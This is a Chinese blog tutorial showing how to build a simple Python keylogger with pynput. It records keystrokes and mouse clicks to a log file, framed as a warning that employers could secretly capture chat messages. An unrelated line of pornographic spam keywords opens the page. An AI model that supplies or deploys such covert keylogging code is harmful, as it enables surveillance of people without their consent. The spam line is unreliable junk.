欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

你知道怎么用Python監(jiān)控聊天記錄嗎

 更新時間:2021年10月14日 10:45:05   作者:程序猿-小菜  
今天有位同事和我吐槽關(guān)于公司 XX 的問題,我告訴他不要在公司電腦上說這些,因為很可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟

在這里插入圖片描述

關(guān)于 pynput

    pynput 可以監(jiān)控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監(jiān)控鍵盤和鼠標時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput。

實例

鍵盤監(jiān)控

    假設(shè)公司想要靜默為我們的電腦常駐一個后臺進程去實現(xiàn)監(jiān)控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:

from pynput import keyboard


def on_press(key):
    print(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
復(fù)制代碼

控制臺打印:                   

在這里插入圖片描述

鼠標監(jiān)控

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
復(fù)制代碼

控制臺打?。?#8195;                  

在這里插入圖片描述

你會發(fā)現(xiàn),每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發(fā)鼠標事件。

監(jiān)控并記錄到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定義日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# 定義f1用于線程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

# 定義f2用于線程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監(jiān)控鍵盤和鼠標
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
復(fù)制代碼

查看日志內(nèi)容:   

在這里插入圖片描述

    如上,我們的鍵盤操作全部已經(jīng)被記錄,通過對這個日志文件進行簡單的 NLTK 語言處理,就能復(fù)原你的聊天記錄。

以上就是今天的全部內(nèi)容了,感謝您的閱讀,我們下節(jié)再會。

到此這篇關(guān)于你知道怎么用Python監(jiān)控聊天記錄嗎的文章就介紹到這了,更多相關(guān)Python 監(jiān)控內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python 切換root 執(zhí)行命令的方法

    python 切換root 執(zhí)行命令的方法

    今天小編就為大家分享一篇python 切換root 執(zhí)行命令的方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • pandas 缺失值與空值處理的實現(xiàn)方法

    pandas 缺失值與空值處理的實現(xiàn)方法

    這篇文章主要介紹了pandas 缺失值與空值處理的實現(xiàn)方法,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-10-10
  • Python機器學(xué)習(xí)之手寫KNN算法預(yù)測城市空氣質(zhì)量

    Python機器學(xué)習(xí)之手寫KNN算法預(yù)測城市空氣質(zhì)量

    KNN(K-Nearest Neighbor)最鄰近分類算法是數(shù)據(jù)挖掘分類(classification)技術(shù)中常用算法之一,本文將介紹如何通過KNN算法實現(xiàn)城市空氣質(zhì)量的預(yù)測,感興趣的同學(xué)可以了解一下
    2021-12-12
  • PyQt打開保存對話框的方法和使用詳解

    PyQt打開保存對話框的方法和使用詳解

    這篇文章主要為大家詳細介紹了PyQt打開保存對話框的方法和使用,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-02-02
  • 用Python寫王者榮耀刷金幣腳本

    用Python寫王者榮耀刷金幣腳本

    今天給大家?guī)淼氖怯肞ython語言寫一個關(guān)于手游王者榮耀刷金幣的腳本,有興趣的朋友參考學(xué)習(xí)下。
    2017-12-12
  • 基于Python實現(xiàn)代碼版彩票小游戲

    基于Python實現(xiàn)代碼版彩票小游戲

    彩票是一個恒古不變的話題,現(xiàn)在的生活越來越好,大部分人開始關(guān)注福利彩票的事情,當然也有很多人都想中將是真的啦~哈哈哈,但是大家還是要適當哦!小編今天給大家做了一款簡易的彩票小游戲,讓我們看看誰能中一等獎吧?誰又是二等獎、三等獎呢
    2023-03-03
  • 程序員寫Python時的5個壞習(xí)慣,你有幾條?

    程序員寫Python時的5個壞習(xí)慣,你有幾條?

    這篇文章主要介紹了程序員寫Python時的5個壞習(xí)慣,你有幾條?有的習(xí)慣會讓 Bug 變得隱蔽難以追蹤,當然,也有的并沒有錯誤,只是個人覺得不夠優(yōu)雅。本文有示例代碼,感興趣的朋友跟隨小編一起看看吧
    2018-11-11
  • Python實現(xiàn)點云投影到平面顯示

    Python實現(xiàn)點云投影到平面顯示

    今天小編就為大家分享一篇Python實現(xiàn)點云投影到平面顯示,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-01-01
  • pygame編寫音樂播放器的實現(xiàn)代碼示例

    pygame編寫音樂播放器的實現(xiàn)代碼示例

    這篇文章主要介紹了pygame編寫音樂播放器的實現(xiàn)代碼示例,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11
  • python GUI實例學(xué)習(xí)

    python GUI實例學(xué)習(xí)

    給大家介紹一下python GUI實例學(xué)習(xí)的心得以及實現(xiàn)的方式,希望能幫助到你。
    2017-11-11

最新評論